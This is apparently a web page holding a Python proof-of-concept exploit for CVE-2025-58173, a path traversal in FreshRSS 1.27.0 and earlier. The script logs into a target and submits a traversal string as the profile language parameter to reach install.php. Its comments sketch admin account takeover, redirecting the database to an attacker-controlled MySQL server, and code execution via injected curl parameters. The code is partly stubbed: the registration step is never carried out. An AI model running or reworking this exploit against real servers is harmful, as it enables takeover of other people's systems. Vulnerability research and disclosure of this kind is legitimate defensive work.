FreshRSS路径遍历漏洞导致管理员账户接管和RCE (CVE-2025-58173)

import requests import re # CVE-2025-58173 FreshRSS Path Traversal to RCE PoC # Target: FreshRSS <= 1.27.0 TARGET = "http://target-freshrss.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Step 1: Register new user register_url = f"{TARGET}/?c=user&amp;action=register" # Step 2: Login with created account login_url = f"{TARGET}/?c=user&amp;action=login" # Step 3: Path traversal via language parameter # Set language to path traversal to access install.php profile_url = f"{TARGET}/?c=user&amp;action=profile" malicious_language = "../../../pocs/../../app/install.php" def exploit(): # Login first session.post(login_url, data={'username': USERNAME, 'password': PASSWORD}) # Step 4: Exploit path traversal # Modify language parameter to trigger install.php response = session.post(profile_url, data={ 'language': malicious_language, 'validate': '1' }) # Step 5: After install.php is called, we can: # - Login as admin # - Create new admin user # - Redirect DB to attacker MySQL # Step 6: If DB redirected, inject malicious curl_params in feed table # Using MySQL UDF for code execution print("Path traversal successful - install.php accessed") return True if __name__ == "__main__": exploit()